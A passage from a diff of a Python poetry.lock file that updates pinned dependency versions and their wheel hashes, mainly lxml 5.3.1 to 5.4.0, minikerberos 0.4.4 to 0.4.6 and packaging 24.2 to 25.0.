hash = "sha256:c92ea6d9dd84a750b2bae72ff5e8cf5fdd13e58dda79c33e057862c29a8d5b50"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2f1be45d4c15f237209bbf123a0e05b5d630c8717c42f59f31ea9eae2ad89394"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:a83d3adea1e0ee36dac34627f78ddd7f093bb9cfc0a8e97f1572a949b695cb98"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:3edbb9c9130bac05d8c3fe150c51c337a471cc7fdb6d2a0a7d3a88e88a829314"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:2f23cf50eccb3255b6e913188291af0150d89dab44137a69e14e4dcb7be981f1"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:df7e5edac4778127f2bf452e0721a58a1cfa4d1d9eac63bdd650535eb8543615"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:094b28ed8a8a072b9e9e2113a81fda668d2053f2ca9f2d202c2c8c7c2d6516b1"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:514fe78fc4b87e7a7601c92492210b20a1b0c6ab20e71e81307d9c2e377c64de"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8fffc08de02071c37865a155e5ea5fce0282e1546fd5bde7f6149fcaa32558ac"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4b0d5cdba1b655d5b18042ac9c9ff50bda33568eb80feaaca4fc237b9c4fbfde"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3031e4c16b59424e8d78522c69b062d301d951dc55ad8685736c3335a97fc270"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb659702a45136c743bc130760c6f137870d4df3a9e14386478b8a0511abcfca"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a11b16a33656ffc43c92a5343a28dc71eefe460bcc2a4923a96f292692709f6"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c5ae125276f254b01daa73e2c103363d3e99e3e10505686ac7d9d2442dd4627a"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c76722b5ed4a31ba103e0dc77ab869222ec36efe1a614e42e9bcea88a36186fe"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:33e06717c00c788ab4e79bc4726ecc50c54b9bfb55355eae21473c145d83c2d2"}, - {file = "lxml-5.3.1.tar.gz", hash = "sha256:106b7b5d2977b339f1e97efe2778e2ab20e99994cbb0ec5e55771ed0795920c8"}, + {file = "lxml-5.4.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e7bc6df34d42322c5289e37e9971d6ed114e3776b45fa879f734bded9d1fea9c"}, + {file = "lxml-5.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6854f8bd8a1536f8a1d9a3655e6354faa6406621cf857dc27b681b69860645c7"}, + {file = "lxml-5.4.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:696ea9e87442467819ac22394ca36cb3d01848dad1be6fac3fb612d3bd5a12cf"}, + {file = "lxml-5.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ef80aeac414f33c24b3815ecd560cee272786c3adfa5f31316d8b349bfade28"}, + {file = "lxml-5.4.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b9c2754cef6963f3408ab381ea55f47dabc6f78f4b8ebb0f0b25cf1ac1f7609"}, + {file = "lxml-5.4.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7a62cc23d754bb449d63ff35334acc9f5c02e6dae830d78dab4dd12b78a524f4"}, + {file = "lxml-5.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f82125bc7203c5ae8633a7d5d20bcfdff0ba33e436e4ab0abc026a53a8960b7"}, + {file = "lxml-5.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:b67319b4aef1a6c56576ff544b67a2a6fbd7eaee485b241cabf53115e8908b8f"}, + {file = "lxml-5.4.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:a8ef956fce64c8551221f395ba21d0724fed6b9b6242ca4f2f7beb4ce2f41997"}, + {file = "lxml-5.4.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:0a01ce7d8479dce84fc03324e3b0c9c90b1ece9a9bb6a1b6c9025e7e4520e78c"}, + {file = "lxml-5.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:91505d3ddebf268bb1588eb0f63821f738d20e1e7f05d3c647a5ca900288760b"}, + {file = "lxml-5.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a3bcdde35d82ff385f4ede021df801b5c4a5bcdfb61ea87caabcebfc4945dc1b"}, + {file = "lxml-5.4.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:aea7c06667b987787c7d1f5e1dfcd70419b711cdb47d6b4bb4ad4b76777a0563"}, + {file = "lxml-5.4.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a7fb111eef4d05909b82152721a59c1b14d0f365e2be4c742a473c5d7372f4f5"}, + {file = "lxml-5.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:43d549b876ce64aa18b2328faff70f5877f8c6dede415f80a2f799d31644d776"}, + {file = "lxml-5.4.0-cp310-cp310-win32.whl", hash = "sha256:75133890e40d229d6c5837b0312abbe5bac1c342452cf0e12523477cd3aa21e7"}, + {file = "lxml-5.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:de5b4e1088523e2b6f730d0509a9a813355b7f5659d70eb4f319c76beea2e250"}, + {file = "lxml-5.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:98a3912194c079ef37e716ed228ae0dcb960992100461b704aea4e93af6b0bb9"}, + {file = "lxml-5.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0ea0252b51d296a75f6118ed0d8696888e7403408ad42345d7dfd0d1e93309a7"}, + {file = "lxml-5.4.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b92b69441d1bd39f4940f9eadfa417a25862242ca2c396b406f9272ef09cdcaa"}, + {file = "lxml-5.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:20e16c08254b9b6466526bc1828d9370ee6c0d60a4b64836bc3ac2917d1e16df"}, + {file = "lxml-5.4.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7605c1c32c3d6e8c990dd28a0970a3cbbf1429d5b92279e37fda05fb0c92190e"}, + {file = "lxml-5.4.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ecf4c4b83f1ab3d5a7ace10bafcb6f11df6156857a3c418244cef41ca9fa3e44"}, + {file = "lxml-5.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0cef4feae82709eed352cd7e97ae062ef6ae9c7b5dbe3663f104cd2c0e8d94ba"}, + {file = "lxml-5.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:df53330a3bff250f10472ce96a9af28628ff1f4efc51ccba351a8820bca2a8ba"}, + {file = "lxml-5.4.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:aefe1a7cb852fa61150fcb21a8c8fcea7b58c4cb11fbe59c97a0a4b31cae3c8c"}, + {file = "lxml-5.4.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:ef5a7178fcc73b7d8c07229e89f8eb45b2908a9238eb90dcfc46571ccf0383b8"}, + {file = "lxml-5.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:d2ed1b3cb9ff1c10e6e8b00941bb2e5bb568b307bfc6b17dffbbe8be5eecba86"}, + {file = "lxml-5.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:72ac9762a9f8ce74c9eed4a4e74306f2f18613a6b71fa065495a67ac227b3056"}, + {file = "lxml-5.4.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:f5cb182f6396706dc6cc1896dd02b1c889d644c081b0cdec38747573db88a7d7"}, + {file = "lxml-5.4.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:3a3178b4873df8ef9457a4875703488eb1622632a9cee6d76464b60e90adbfcd"}, + {file = "lxml-5.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e094ec83694b59d263802ed03a8384594fcce477ce484b0cbcd0008a211ca751"}, + {file = "lxml-5.4.0-cp311-cp311-win32.whl", hash = "sha256:4329422de653cdb2b72afa39b0aa04252fca9071550044904b2e7036d9d97fe4"}, + {file = "lxml-5.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:fd3be6481ef54b8cfd0e1e953323b7aa9d9789b94842d0e5b142ef4bb7999539"}, + {file = "lxml-5.4.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:b5aff6f3e818e6bdbbb38e5967520f174b18f539c2b9de867b1e7fde6f8d95a4"}, + {file = "lxml-5.4.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:942a5d73f739ad7c452bf739a62a0f83e2578afd6b8e5406308731f4ce78b16d"}, + {file = "lxml-5.4.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:460508a4b07364d6abf53acaa0a90b6d370fafde5693ef37602566613a9b0779"}, + {file = "lxml-5.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:529024ab3a505fed78fe3cc5ddc079464e709f6c892733e3f5842007cec8ac6e"}, + {file = "lxml-5.4.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7ca56ebc2c474e8f3d5761debfd9283b8b18c76c4fc0967b74aeafba1f5647f9"}, + {file = "lxml-5.4.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a81e1196f0a5b4167a8dafe3a66aa67c4addac1b22dc47947abd5d5c7a3f24b5"}, + {file = "lxml-5.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00b8686694423ddae324cf614e1b9659c2edb754de617703c3d29ff568448df5"}, + {file = "lxml-5.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:c5681160758d3f6ac5b4fea370495c48aac0989d6a0f01bb9a72ad8ef5ab75c4"}, + {file = "lxml-5.4.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:2dc191e60425ad70e75a68c9fd90ab284df64d9cd410ba8d2b641c0c45bc006e"}, + {file = "lxml-5.4.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:67f779374c6b9753ae0a0195a892a1c234ce8416e4448fe1e9f34746482070a7"}, + {file = "lxml-5.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:79d5bfa9c1b455336f52343130b2067164040604e41f6dc4d8313867ed540079"}, + {file = "lxml-5.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3d3c30ba1c9b48c68489dc1829a6eede9873f52edca1dda900066542528d6b20"}, + {file = "lxml-5.4.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1af80c6316ae68aded77e91cd9d80648f7dd40406cef73df841aa3c36f6907c8"}, + {file = "lxml-5.4.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:4d885698f5019abe0de3d352caf9466d5de2baded00a06ef3f1216c1a58ae78f"}, + {file = "lxml-5.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:aea53d51859b6c64e7c51d522c03cc2c48b9b5d6172126854cc7f01aa11f52bc"}, + {file = "lxml-5.4.0-cp312-cp312-win32.whl", hash = "sha256:d90b729fd2732df28130c064aac9bb8aff14ba20baa4aee7bd0795ff1187545f"}, + {file = "lxml-5.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:1dc4ca99e89c335a7ed47d38964abcb36c5910790f9bd106f2a8fa2ee0b909d2"}, + {file = "lxml-5.4.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:773e27b62920199c6197130632c18fb7ead3257fce1ffb7d286912e56ddb79e0"}, + {file = "lxml-5.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ce9c671845de9699904b1e9df95acfe8dfc183f2310f163cdaa91a3535af95de"}, + {file = "lxml-5.4.0-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9454b8d8200ec99a224df8854786262b1bd6461f4280064c807303c642c05e76"}, + {file = "lxml-5.4.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cccd007d5c95279e529c146d095f1d39ac05139de26c098166c4beb9374b0f4d"}, + {file = "lxml-5.4.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0fce1294a0497edb034cb416ad3e77ecc89b313cff7adbee5334e4dc0d11f422"}, + {file = "lxml-5.4.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:24974f774f3a78ac12b95e3a20ef0931795ff04dbb16db81a90c37f589819551"}, + {file = "lxml-5.4.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:497cab4d8254c2a90bf988f162ace2ddbfdd806fce3bda3f581b9d24c852e03c"}, + {file = "lxml-5.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:e794f698ae4c5084414efea0f5cc9f4ac562ec02d66e1484ff822ef97c2cadff"}, + {file = "lxml-5.4.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:2c62891b1ea3094bb12097822b3d44b93fc6c325f2043c4d2736a8ff09e65f60"}, + {file = "lxml-5.4.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:142accb3e4d1edae4b392bd165a9abdee8a3c432a2cca193df995bc3886249c8"}, + {file = "lxml-5.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1a42b3a19346e5601d1b8296ff6ef3d76038058f311902edd574461e9c036982"}, + {file = "lxml-5.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4291d3c409a17febf817259cb37bc62cb7eb398bcc95c1356947e2871911ae61"}, + {file = "lxml-5.4.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4f5322cf38fe0e21c2d73901abf68e6329dc02a4994e483adbcf92b568a09a54"}, + {file = "lxml-5.4.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:0be91891bdb06ebe65122aa6bf3fc94489960cf7e03033c6f83a90863b23c58b"}, + {file = "lxml-5.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:15a665ad90054a3d4f397bc40f73948d48e36e4c09f9bcffc7d90c87410e478a"}, + {file = "lxml-5.4.0-cp313-cp313-win32.whl", hash = "sha256:d5663bc1b471c79f5c833cffbc9b87d7bf13f87e055a5c86c363ccd2348d7e82"}, + {file = "lxml-5.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:bcb7a1096b4b6b24ce1ac24d4942ad98f983cd3810f9711bcd0293f43a9d8b9f"}, + {file = "lxml-5.4.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:7be701c24e7f843e6788353c055d806e8bd8466b52907bafe5d13ec6a6dbaecd"}, + {file = "lxml-5.4.0-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fb54f7c6bafaa808f27166569b1511fc42701a7713858dddc08afdde9746849e"}, + {file = "lxml-5.4.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:97dac543661e84a284502e0cf8a67b5c711b0ad5fb661d1bd505c02f8cf716d7"}, + {file = "lxml-5.4.0-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:c70e93fba207106cb16bf852e421c37bbded92acd5964390aad07cb50d60f5cf"}, + {file = "lxml-5.4.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:9c886b481aefdf818ad44846145f6eaf373a20d200b5ce1a5c8e1bc2d8745410"}, + {file = "lxml-5.4.0-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:fa0e294046de09acd6146be0ed6727d1f42ded4ce3ea1e9a19c11b6774eea27c"}, + {file = "lxml-5.4.0-cp36-cp36m-win32.whl", hash = "sha256:61c7bbf432f09ee44b1ccaa24896d21075e533cd01477966a5ff5a71d88b2f56"}, + {file = "lxml-5.4.0-cp36-cp36m-win_amd64.whl", hash = "sha256:7ce1a171ec325192c6a636b64c94418e71a1964f56d002cc28122fceff0b6121"}, + {file = "lxml-5.4.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:795f61bcaf8770e1b37eec24edf9771b307df3af74d1d6f27d812e15a9ff3872"}, + {file = "lxml-5.4.0-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:29f451a4b614a7b5b6c2e043d7b64a15bd8304d7e767055e8ab68387a8cacf4e"}, + {file = "lxml-5.4.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:891f7f991a68d20c75cb13c5c9142b2a3f9eb161f1f12a9489c82172d1f133c0"}, + {file = "lxml-5.4.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4aa412a82e460571fad592d0f93ce9935a20090029ba08eca05c614f99b0cc92"}, + {file = "lxml-5.4.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:ac7ba71f9561cd7d7b55e1ea5511543c0282e2b6450f122672a2694621d63b7e"}, + {file = "lxml-5.4.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:c5d32f5284012deaccd37da1e2cd42f081feaa76981f0eaa474351b68df813c5"}, + {file = "lxml-5.4.0-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:ce31158630a6ac85bddd6b830cffd46085ff90498b397bd0a259f59d27a12188"}, + {file = "lxml-5.4.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:31e63621e073e04697c1b2d23fcb89991790eef370ec37ce4d5d469f40924ed6"}, + {file = "lxml-5.4.0-cp37-cp37m-win32.whl", hash = "sha256:be2ba4c3c5b7900246a8f866580700ef0d538f2ca32535e991027bdaba944063"}, + {file = "lxml-5.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:09846782b1ef650b321484ad429217f5154da4d6e786636c38e434fa32e94e49"}, + {file = "lxml-5.4.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:eaf24066ad0b30917186420d51e2e3edf4b0e2ea68d8cd885b14dc8afdcf6556"}, + {file = "lxml-5.4.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2b31a3a77501d86d8ade128abb01082724c0dfd9524f542f2f07d693c9f1175f"}, + {file = "lxml-5.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e108352e203c7afd0eb91d782582f00a0b16a948d204d4dec8565024fafeea5"}, + {file = "lxml-5.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a11a96c3b3f7551c8a8109aa65e8594e551d5a84c76bf950da33d0fb6dfafab7"}, + {file = "lxml-5.4.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:ca755eebf0d9e62d6cb013f1261e510317a41bf4650f22963474a663fdfe02aa"}, + {file = "lxml-5.4.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:4cd915c0fb1bed47b5e6d6edd424ac25856252f09120e3e8ba5154b6b921860e"}, + {file = "lxml-5.4.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:226046e386556a45ebc787871d6d2467b32c37ce76c2680f5c608e25823ffc84"}, + {file = "lxml-5.4.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b108134b9667bcd71236c5a02aad5ddd073e372fb5d48ea74853e009fe38acb6"}, + {file = "lxml-5.4.0-cp38-cp38-win32.whl", hash = "sha256:1320091caa89805df7dcb9e908add28166113dcd062590668514dbd510798c88"}, + {file = "lxml-5.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:073eb6dcdf1f587d9b88c8c93528b57eccda40209cf9be549d469b942b41d70b"}, + {file = "lxml-5.4.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:bda3ea44c39eb74e2488297bb39d47186ed01342f0022c8ff407c250ac3f498e"}, + {file = "lxml-5.4.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9ceaf423b50ecfc23ca00b7f50b64baba85fb3fb91c53e2c9d00bc86150c7e40"}, + {file = "lxml-5.4.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:664cdc733bc87449fe781dbb1f309090966c11cc0c0cd7b84af956a02a8a4729"}, + {file = "lxml-5.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67ed8a40665b84d161bae3181aa2763beea3747f748bca5874b4af4d75998f87"}, + {file = "lxml-5.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b4a3bd174cc9cdaa1afbc4620c049038b441d6ba07629d89a83b408e54c35cd"}, + {file = "lxml-5.4.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:b0989737a3ba6cf2a16efb857fb0dfa20bc5c542737fddb6d893fde48be45433"}, + {file = "lxml-5.4.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:dc0af80267edc68adf85f2a5d9be1cdf062f973db6790c1d065e45025fa26140"}, + {file = "lxml-5.4.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:639978bccb04c42677db43c79bdaa23785dc7f9b83bfd87570da8207872f1ce5"}, + {file = "lxml-5.4.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5a99d86351f9c15e4a901fc56404b485b1462039db59288b203f8c629260a142"}, + {file = "lxml-5.4.0-cp39-cp39-win32.whl", hash = "sha256:3e6d5557989cdc3ebb5302bbdc42b439733a841891762ded9514e74f60319ad6"}, + {file = "lxml-5.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:a8c9b7f16b63e65bbba889acb436a1034a82d34fa09752d754f88d708eca80e1"}, + {file = "lxml-5.4.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1b717b00a71b901b4667226bba282dd462c42ccf618ade12f9ba3674e1fabc55"}, + {file = "lxml-5.4.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:27a9ded0f0b52098ff89dd4c418325b987feed2ea5cc86e8860b0f844285d740"}, + {file = "lxml-5.4.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b7ce10634113651d6f383aa712a194179dcd496bd8c41e191cec2099fa09de5"}, + {file = "lxml-5.4.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:53370c26500d22b45182f98847243efb518d268374a9570409d2e2276232fd37"}, + {file = "lxml-5.4.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c6364038c519dffdbe07e3cf42e6a7f8b90c275d4d1617a69bb59734c1a2d571"}, + {file = "lxml-5.4.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:b12cb6527599808ada9eb2cd6e0e7d3d8f13fe7bbb01c6311255a15ded4c7ab4"}, + {file = "lxml-5.4.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:5f11a1526ebd0dee85e7b1e39e39a0cc0d9d03fb527f56d8457f6df48a10dc0c"}, + {file = "lxml-5.4.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48b4afaf38bf79109bb060d9016fad014a9a48fb244e11b94f74ae366a64d252"}, + {file = "lxml-5.4.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de6f6bb8a7840c7bf216fb83eec4e2f79f7325eca8858167b68708b929ab2172"}, + {file = "lxml-5.4.0-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:5cca36a194a4eb4e2ed6be36923d3cffd03dcdf477515dea687185506583d4c9"}, + {file = "lxml-5.4.0-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:b7c86884ad23d61b025989d99bfdd92a7351de956e01c61307cb87035960bcb1"}, + {file = "lxml-5.4.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:53d9469ab5460402c19553b56c3648746774ecd0681b1b27ea74d5d8a3ef5590"}, + {file = "lxml-5.4.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:56dbdbab0551532bb26c19c914848d7251d73edb507c3079d6805fa8bba5b706"}, + {file = "lxml-5.4.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14479c2ad1cb08b62bb941ba8e0e05938524ee3c3114644df905d2331c76cd57"}, + {file = "lxml-5.4.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:32697d2ea994e0db19c1df9e40275ffe84973e4232b5c274f47e7c1ec9763cdd"}, + {file = "lxml-5.4.0-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:24f6df5f24fc3385f622c0c9d63fe34604893bc1a5bdbb2dbf5870f85f9a404a"}, + {file = "lxml-5.4.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:151d6c40bc9db11e960619d2bf2ec5829f0aaffb10b41dcf6ad2ce0f3c0b2325"}, + {file = "lxml-5.4.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4025bf2884ac4370a3243c5aa8d66d3cb9e15d3ddd0af2d796eccc5f0244390e"}, + {file = "lxml-5.4.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:9459e6892f59ecea2e2584ee1058f5d8f629446eab52ba2305ae13a32a059530"}, + {file = "lxml-5.4.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:47fb24cc0f052f0576ea382872b3fc7e1f7e3028e53299ea751839418ade92a6"}, + {file = "lxml-5.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50441c9de951a153c698b9b99992e806b71c1f36d14b154592580ff4a9d0d877"}, + {file = "lxml-5.4.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:ab339536aa798b1e17750733663d272038bf28069761d5be57cb4a9b0137b4f8"}, + {file = "lxml-5.4.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9776af1aad5a4b4a1317242ee2bea51da54b2a7b7b48674be736d463c999f37d"}, + {file = "lxml-5.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:63e7968ff83da2eb6fdda967483a7a023aa497d85ad8f05c3ad9b1f2e8c84987"}, + {file = "lxml-5.4.0.tar.gz", hash = "sha256:d12832e1dbea4be280b22fd0ea7c9b87f0d8fc51ba06e92dc62d52f804f78ebd"}, ] [package.extras] @@ -1307,14 +1338,14 @@ files = [ [[package]] name = "minikerberos" -version = "0.4.4" +version = "0.4.6" description = "Kerberos manipulation library in pure Python" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "minikerberos-0.4.4-py3-none-any.whl", hash = "sha256:f51d4283cfd318e89242dd2b467b99dc8a99ddad4fcf099367afeb1e54b7cf93"}, - {file = "minikerberos-0.4.4.tar.gz", hash = "sha256:1b07861c6c4038b66a3a755dcceb70d31bafb2b2ac681d607f5c59fd6b8547bc"}, + {file = "minikerberos-0.4.6-py3-none-any.whl", hash = "sha256:9bb7160e0ccbf742746f9777c54311187113ce813d2cc75d470e37602a908a12"}, + {file = "minikerberos-0.4.6.tar.gz", hash = "sha256:56fd389e06197043b7d89eee713e9a5f2bb546020db6a064e1921d740f957290"}, ] [package.dependencies] @@ -1404,14 +1435,14 @@ resolved_reference = "1547f535001ba568b239b8797465536759c742a3" [[package]] name = "packaging" -version = "24.2" +version = "25.0" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" groups = ["dev"] files = [ - {file = "packaging-24.2-py3-none-any.whl", 